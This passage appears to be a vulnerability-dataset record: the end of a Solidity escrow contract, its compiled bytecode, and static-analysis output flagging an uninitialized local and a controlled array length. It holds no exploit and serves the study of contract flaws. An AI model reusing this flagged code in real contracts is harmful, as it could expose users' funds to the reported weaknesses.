Buyer must not have approved fund release. //2) Seller must not have approved a refund. //3) EscrowEscalation is being activated for the first time //There is no difference whether the buyer or seller activates EscrowEscalation. address buyerAddress; uint buyerID; //transaction ID of in buyer&#39;s history if (switcher == 0) // Buyer { buyerAddress = msg.sender; buyerID = ID; } else if (switcher == 1) //Seller { buyerAddress = sellerDatabase[msg.sender][ID].buyer; buyerID = sellerDatabase[msg.sender][ID].buyer_nounce; } require(buyerDatabase[buyerAddress][buyerID].escrow_intervention == false && buyerDatabase[buyerAddress][buyerID].release_approval == false && buyerDatabase[buyerAddress][buyerID].refund_approval == false); //Activate the ability for Escrow Agent to intervent in this transaction buyerDatabase[buyerAddress][buyerID].escrow_intervention = true; } //ID is the transaction ID from Escrow&#39;s history. //Decision = 0 is for refunding Buyer. Decision = 1 is for releasing funds to Seller function escrowDecision(uint ID, uint Decision) { //Escrow can only make the decision IF //1) Buyer has not yet approved fund release to seller //2) Seller has not yet approved a refund to buyer //3) Escrow Agent has not yet approved fund release to seller AND not approved refund to buyer //4) Escalation Escalation is activated address buyerAddress = escrowDatabase[msg.sender][ID].buyer; uint buyerID = escrowDatabase[msg.sender][ID].buyer_nounce; require( buyerDatabase[buyerAddress][buyerID].release_approval == false && buyerDatabase[buyerAddress][buyerID].escrow_intervention == true && buyerDatabase[buyerAddress][buyerID].refund_approval == false); uint escrow_fee = buyerDatabase[buyerAddress][buyerID].escrow_fee; uint amount = buyerDatabase[buyerAddress][buyerID].amount; if (Decision == 0) //Refund Buyer { buyerDatabase[buyerAddress][buyerID].refund_approval = true; Funds[buyerAddress] += amount; Funds[msg.sender] += escrow_fee; } else if (Decision == 1) //Release funds to Seller { buyerDatabase[buyerAddress][buyerID].release_approval = true; Funds[buyerDatabase[buyerAddress][buyerID].seller] += amount; Funds[msg.sender] += escrow_fee; } } function WithdrawFunds() { uint amount = Funds[msg.sender]; Funds[msg.sender] = 0; if (!msg.sender.send(amount)) Funds[msg.sender] = amount; } function CheckBalance(address fromAddress) constant returns (uint){ return (Funds[fromAddress]); } }
0x6060604052361561011a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166307023a38811461011e57806314081e391461026a5780631eb22b451461028257806321027354146102c65780632c37dba9146104125780632e4d59c4146104435780633c5192b7146104745780634c0aac9a1461048f57806364d03095146104a457806364fa30701461051357806377db5206146105445780638da5cb5b146105785780638e94a5f3146105a75780639b850322146105bf578063a155beb8146105da578063a6a3a43914610659578063bdbbf4291461068d578063d73b0cf2146107d9578063da1070da146107f1578063dc09996c14610822578063f28d7b8914610866575b5b5b005b341561012957600080fd5b610143600160a060020a0360043516602435604435610897565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101905780820151818401525b602001610177565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101d05780820151818401525b6020016101b7565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102105780820151818401525b6020016101f7565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102505780820151818401525b602001610237565b505050509050019850505050505050505060405180910390f35b341561027557600080fd5b61011a600435610c15565b005b341561028d57600080fd5b6102a4600160a060020a0360043516602435610c51565b604051600160a060020a03909216825260208201526040908101905180910390f35b34156102d157600080fd5b610143600160a060020a0360043516602435604435610c98565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101905780820151818401525b602001610177565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101d05780820151818401525b6020016101b7565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102105780820151818401525b6020016101f7565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102505780820151818401525b602001610237565b505050509050019850505050505050505060405180910390f35b341561041d57600080fd5b610431600160a060020a0360043516610f13565b60405190815260200160405180910390f35b341561044e57600080fd5b610431600160a060020a0360043516610f25565b60405190815260200160405180910390f35b341561047f57600080fd5b61011a600435602435610f44565b005b341561049a57600080fd5b61011a61110f565b005b34156104af57600080fd5b6104c9600160a060020a0360043516602435604435611172565b604051600160a060020a0397881681529587166020870152939095166040808601919091526060850192909252608084015260a083019390935260c082015260e001905180910390f35b341561051e57600080fd5b610431600160a060020a03600435166115f0565b60405190815260200160405180910390f35b341561054f57600080fd5b610431600160a060020a036004351660243561160f565b60405190815260200160405180910390f35b341561058357600080fd5b61058b611788565b604051600160a060020a03909116815260200160405180910390f35b34156105b257600080fd5b61011a600435611797565b005b34156105ca57600080fd5b61011a600435602435611a08565b005b34156105e557600080fd5b6105fc600160a060020a0360043516602435611d62565b604051600160a060020a03998a16815297891660208901529590971660408088019190915260608701949094526080860192909252151560a0850152151560c084015292151560e083015261010082015261012001905180910390f35b341561066457600080fd5b610431600160a060020a0360043516602435611de5565b60405190815260200160405180910390f35b341561069857600080fd5b610143600160a060020a0360043516602435604435611e58565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101905780820151818401525b602001610177565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101d05780820151818401525b6020016101b7565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102105780820151818401525b6020016101f7565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102505780820151818401525b602001610237565b505050509050019850505050505050505060405180910390f35b34156107e457600080fd5b61011a6004356121d6565b005b61080e600160a060020a0360043581169060243516604435612420565b604051901515815260200160405180910390f35b341561082d57600080fd5b6102a4600160a060020a03600435166024356126f0565b604051600160a060020a03909216825260208201526040908101905180910390f35b341561087157600080fd5b610431600160a060020a0360043516612737565b60405190815260200160405180910390f35b61089f612749565b6108a7612749565b6108af612749565b6108b7612749565b6108bf612749565b6108c7612749565b6108cf612749565b6108d7612749565b6000896040518059106108e75750595b908082528060200260200182016040525b509450896040518059106109095750595b908082528060200260200182016040525b5093508960405180591061092b5750595b908082528060200260200182016040525b5092508960405180591061094d5750595b908082528060200260200182016040525b509150600090505b89811015610bfa57600160a060020a038c16600090815260026020526040902054811061099257610bfa565b600160a060020a038c16600090815260026020526040902080548c83019081106109b857fe5b906000526020600020906002020160005b5054600160a060020a03168582815181106109e057fe5b600160a060020a0390921660209283029091019091015260016000868381518110610a0757fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600260008e600160a060020a0316600160a060020a03168152602001908152602001600020828d01815481101515610a6557fe5b906000526020600020906002020160005b506001015481548110610a8557fe5b906000526020600020906007020160005b5060020154600160a060020a0316848281518110610ab057fe5b600160a060020a0390921660209283029091019091015260016000868381518110610ad757fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600260008e600160a060020a0316600160a060020a03168152602001908152602001600020828d01815481101515610b3557fe5b906000526020600020906002020160005b506001015481548110610b5557fe5b906000526020600020906007020160005b5060040154838281518110610b7757fe5b60209081029091010152610bdb858281518110610b9057fe5b90602001906020020151600160a060020a038e16600090815260026020526040902080548e8501908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b828281518110610be757fe5b602090810290910101525b600101610966565b8484848498509850985098505b505050505093509350935093565b60018110158015610c27575060648111155b1515610c3257600080fd5b600160a060020a03331660009081526005602052604090208190555b50565b600260205281600052604060002081815481101515610c6c57fe5b906000526020600020906002020160005b508054600190910154600160a060020a039091169250905082565b610ca0612749565b610ca8612749565b610cb0612749565b610cb8612749565b6000610cc2612749565b610cca612749565b610cd2612749565b610cda612749565b600160a060020a038c166000908152600160205260408120548b901015610d1b57600160a060020a038d166000908152600160205260409020549550610d1f565b8a95505b85604051805910610d2d5750595b908082528060200260200182016040525b50945085604051805910610d4f5750595b908082528060200260200182016040525b50935085604051805910610d715750595b908082528060200260200182016040525b50925085604051805910610d935750595b908082528060200260200182016040525b509150600090505b85811015610ef757600160a060020a038d16600090815260016020526040902080548d8301908110610dda57fe5b906000526020600020906007020160005b5060010154600160a060020a0316858281518110610e0557fe5b600160a060020a039283166020918202909201810191909152908e16600090815260019091526040902080548d8301908110610e3d57fe5b906000526020600020906007020160005b5060020154600160a060020a0316848281518110610e6857fe5b600160a060020a039283166020918202909201810191909152908e16600090815260019091526040902080548d8301908110610ea057fe5b906000526020600020906007020160005b5060040154838281518110610ec257fe5b60209081029091010152610ed88d8d830161160f565b828281518110610ee457fe5b602090810290910101525b600101610dac565b8484848499509950995099505b50505050505093509350935093565b60056020526000908152604090205481565b600160a060020a0381166000908152600460205260409020545b919050565b600080831515610f58575033905081610fdc565b8360011415610fdc57600160a060020a0333166000908152600260205260409020805484908110610f8557fe5b906000526020600020906002020160005b5054600160a060020a033381166000908152600260205260409020805491909216935084908110610fc357fe5b906000526020600020906002020160005b506001015490505b5b600160a060020a038216600090815260016020526040902080548290811061100157fe5b906000526020600020906007020160005b506005015460ff161580156110665750600160a060020a038216600090815260016020526040902080548290811061104657fe5b906000526020600020906007020160005b5060050154610100900460ff16155b80156110b25750600160a060020a038216600090815260016020526040902080548290811061109157fe5b906000526020600020906007020160005b506005015462010000900460ff16155b15156110bd57600080fd5b600160a060020a03821660009081526001602081905260409091208054839081106110e457fe5b906000526020600020906007020160005b50600501805460ff19169115159190911790555b50505050565b600160a060020a033316600081815260046020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610c4e57600160a060020a03331660009081526004602052604090208190555b5b50565b60008060008060008060008061118661277f565b8a151561125957600160a060020a038c16600090815260016020526040902080548b9081106111b157fe5b906000526020600020906007020160005b5061012060405190810160409081528254600160a060020a039081168352600184015481166020840152600284015416908201526003820154606082015260048201546080820152600582015460ff808216151560a08401526101008083048216151560c08501526201000090920416151560e08301526006909201549181019190915290506112528c8b61160f565b91506115b3565b8a6001141561140857600160a060020a038c166000908152600260205260408120805460019291908d90811061128b57fe5b906000526020600020906002020160005b5060000160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600260008e600160a060020a0316600160a060020a031681526020019081526020016000208b81548110151561130657fe5b906000526020600020906002020160005b50600101548154811061132657fe5b906000526020600020906007020160005b5061012060405190810160409081528254600160a060020a039081168352600184015481166020840152600284015416908201526003820154606082015260048201546080820152600582015460ff808216151560a08401526101008083048216151560c08501526201000090920416151560e08301526006909201549181019190915290506112528151600160a060020a038e16600090815260026020526040902080548d908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b91506115b3565b8a600214156115b357600160a060020a038c166000908152600360205260408120805460019291908d90811061143a57fe5b906000526020600020906002020160005b5060000160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600360008e600160a060020a0316600160a060020a031681526020019081526020016000208b8154811015156114b557fe5b906000526020600020906002020160005b5060010154815481106114d557fe5b906000526020600020906007020160005b5061012060405190810160409081528254600160a060020a039081168352600184015481166020840152600284015416908201526003820154606082015260048201546080820152600582015460ff808216151560a08401526101008083048216151560c08501526201000090920416151560e08301526006909201549181019190915290506115b08151600160a060020a038e16600090815260036020526040902080548d908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b91505b5b5b805181602001518260400151836080015185856060015186610100015198509850985098509850985098505b50509397509397509397909450565b600160a060020a0381166000908152600560205260409020545b919050565b600160a060020a038216600090815260016020526040812080548291908490811061163657fe5b906000526020600020906007020160005b5060050154610100900460ff161561168057507f436f6d706c65746500000000000000000000000000000000000000000000000061177b565b600160a060020a03841660009081526001602052604090208054849081106116a457fe5b906000526020600020906007020160005b506005015462010000900460ff16156116ef57507f526566756e64656400000000000000000000000000000000000000000000000061177b565b600160a060020a038416600090815260016020526040902080548490811061171357fe5b906000526020600020906007020160005b506005015460ff161561175857507f50656e64696e6720457363726f77204465636973696f6e00000000000000000061177b565b507f496e2050726f67726573730000000000000000000000000000000000000000005b5b5b8091505b5092915050565b600054600160a060020a031681565b600160a060020a033316600090815260026020526040812080548291829182918291879081106117c357fe5b906000526020600020906002020160005b5054600160a060020a03338116600090815260026020526040902080549190921696508790811061180157fe5b906000526020600020906002020160005b506001015493506001600086600160a060020a0316600160a060020a031681526020019081526020016000208481548110151561184b57fe5b906000526020600020906007020160005b5060050154610100900460ff161580156118b65750600160a060020a038516600090815260016020526040902080548590811061189557fe5b906000526020600020906007020160005b506005015462010000900460ff16155b15156118c157600080fd5b600160a060020a03851660009081526001602052604090208054859081106118e557fe5b906000526020600020906007020160005b5060020154600160a060020a03868116600090815260016020526040902080549190921694508590811061192657fe5b906000526020600020906007020160005b5060030154600160a060020a03861660009081526001602052604090208054919350908590811061196457fe5b906000526020600020906007020160005b5060040154600160a060020a038616600090815260016020819052604090912080549293509091869081106119a657fe5b906000526020600020906007020160005b506005018054911515620100000262ff000019909216919091179055600160a060020a038086166000908152600460205260408082208054850190559185168152208054830190555b505050505050565b600160a060020a033316600090815260036020526040812080548291829182919087908110611a3357fe5b906000526020600020906002020160005b5054600160a060020a033381166000908152600360205260409020805491909216955087908110611a7157fe5b906000526020600020906002020160005b506001015492506001600085600160a060020a0316600160a060020a0316815260200190815260200160002083815481101515611abb57fe5b906000526020600020906007020160005b5060050154610100900460ff16158015611b245750600160a060020a0384166000908152600160205260409020805484908110611b0557fe5b906000526020600020906007020160005b506005015460ff1615156001145b8015611b705750600160a060020a0384166000908152600160205260409020805484908110611b4f57fe5b906000526020600020906007020160005b506005015462010000900460ff16155b1515611b7b57600080fd5b600160a060020a0384166000908152600160205260409020805484908110611b9f57fe5b906000526020600020906007020160005b5060030154600160a060020a038516600090815260016020526040902080549193509084908110611bdd57fe5b906000526020600020906007020160005b50600401549050841515611c8257600160a060020a0384166000908152600160208190526040909120805485908110611c2357fe5b906000526020600020906007020160005b506005018054911515620100000262ff000019909216919091179055600160a060020a0380851660009081526004602052604080822080548501905533909216815220805483019055611a00565b8460011415611a0057600160a060020a0384166000908152600160208190526040909120805485908110611cb257fe5b906000526020600020906007020160005b5060050180549115156101000261ff0019909216919091179055600160a060020a038416600090815260016020526040812080548392600492909187908110611d0857fe5b906000526020600020906007020160005b5060010154600160a060020a03908116825260208083019390935260409182016000908120805490950190945533168352600490915290208054830190555b5b5b505050505050565b600160205281600052604060002081815481101515611d7d57fe5b906000526020600020906007020160005b50805460018201546002830154600384015460048501546005860154600690960154600160a060020a03958616985093851696509190931693909160ff808316926101008104821692620100009091049091169089565b6000811515611e0d5750600160a060020a038216600090815260016020526040902054611e50565b8160011415611e355750600160a060020a038216600090815260026020526040902054611e50565b50600160a060020a0382166000908152600360205260409020545b5b5b92915050565b611e60612749565b611e68612749565b611e70612749565b611e78612749565b611e80612749565b611e88612749565b611e90612749565b611e98612749565b600089604051805910611ea85750595b908082528060200260200182016040525b50945089604051805910611eca5750595b908082528060200260200182016040525b50935089604051805910611eec5750595b908082528060200260200182016040525b50925089604051805910611f0e5750595b908082528060200260200182016040525b509150600090505b89811015610bfa57600160a060020a038c166000908152600360205260409020548110611f5357610bfa565b600160a060020a038c16600090815260036020526040902080548c8301908110611f7957fe5b906000526020600020906002020160005b5054600160a060020a0316858281518110611fa157fe5b600160a060020a0390921660209283029091019091015260016000868381518110611fc857fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600360008e600160a060020a0316600160a060020a03168152602001908152602001600020828d0181548110151561202657fe5b906000526020600020906002020160005b50600101548154811061204657fe5b906000526020600020906007020160005b5060010154600160a060020a031684828151811061207157fe5b600160a060020a039092166020928302909101909101526001600086838151811061209857fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600360008e600160a060020a0316600160a060020a03168152602001908152602001600020828d018154811015156120f657fe5b906000526020600020906002020160005b50600101548154811061211657fe5b906000526020600020906007020160005b506004015483828151811061213857fe5b6020908102909101015261219c85828151811061215157fe5b90602001906020020151600160a060020a038e16600090815260036020526040902080548e8501908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b8282815181106121a857fe5b602090810290910101525b600101611f27565b8484848498509850985098505b505050505093509350935093565b600160a060020a033316600090815260016020526040812054819081908190851080156122425750600160a060020a033316600090815260016020526040902080548690811061222257fe5b906000526020600020906007020160005b5060050154610100900460ff16155b801561228e5750600160a060020a033316600090815260016020526040902080548690811061226d57fe5b906000526020600020906007020160005b506005015462010000900460ff16155b151561229957600080fd5b600160a060020a03331660009081526001602081905260409091208054879081106122c057fe5b906000526020600020906007020160005b5060050180549115156101000261ff0019909216919091179055600160a060020a033316600090815260016020526040902080548690811061230f57fe5b906000526020600020906007020160005b50600190810154600160a060020a03338116600090815260209390935260409092208054929091169550908690811061235557fe5b906000526020600020906007020160005b5060020154600160a060020a03338116600090815260016020526040902080549190921694508690811061239657fe5b906000526020600020906007020160005b5060040154600160a060020a0333166000908152600160205260409020805491935090869081106123d457fe5b906000526020600020906007020160005b5060030154600160a060020a0380861660009081526004602052604080822080548701905591861681522080548201905590505b5050505050565b600061242a61277f565b6124326127cb565b60008034118015612455575085600160a060020a031633600160a060020a031614155b151561246057600080fd5b600160a060020a0333811684528781166020850152861660408401526103e834612489886115f0565b0281151561249357fe5b046060840152610190345b60008054600160a060020a03168152600460205260409020805492909104918201905590506060830151348290030360808401526101008301859052600160a060020a0333811680845260009081526001602081815260408084205482880152938b1683526002905291902080549091810161251a83826127e2565b916000526020600020906002020160005b50839081518154600160a060020a031916600160a060020a03919091161781556020820151600191820155600160a060020a038916600090815260036020526040902080549093509150810161258183826127e2565b916000526020600020906002020160005b50839081518154600160a060020a031916600160a060020a03919091161781556020820151600191820155600160a060020a03331660009081526020829052604090208054909350915081016125e88382612814565b916000526020600020906007020160005b50849081518154600160a060020a031916600160a060020a03919091161781556020820151600182018054600160a060020a031916600160a060020a03929092169190911790556040820151600282018054600160a060020a031916600160a060020a0392909216919091179055606082015181600301556080820151816004015560a082015160058201805460ff191691151591909117905560c08201516005820180549115156101000261ff001990921691909117905560e0820151600582018054911515620100000262ff0000199092169190911790556101008201516006909101555060019450505b5050509392505050565b600360205281600052604060002081815481101515610c6c57fe5b906000526020600020906002020160005b508054600190910154600160a060020a039091169250905082565b60046020526000908152604090205481565b60206040519081016040526000815290565b60206040519081016040526000815290565b60206040519081016040526000815290565b6101206040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e0820181905261010082015290565b604080519081016040526000808252602082015290565b81548183558181151161280e5760020281600202836000526020600020918201910161280e9190612846565b5b505050565b81548183558181151161280e5760070281600702836000526020600020918201910161280e9190612878565b5b505050565b61287591905b80821115612871578054600160a060020a03191681556000600182015560020161284c565b5090565b90565b61287591905b80821115612871578054600160a060020a031990811682556001820180548216905560028201805490911690556000600382018190556004820181905560058201805462ffffff19169055600682015560070161287e565b5090565b905600a165627a7a72305820db7f874f7c04907b5c25f2747b2db27278f8d6d6505751d58572da5a169696d20029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,099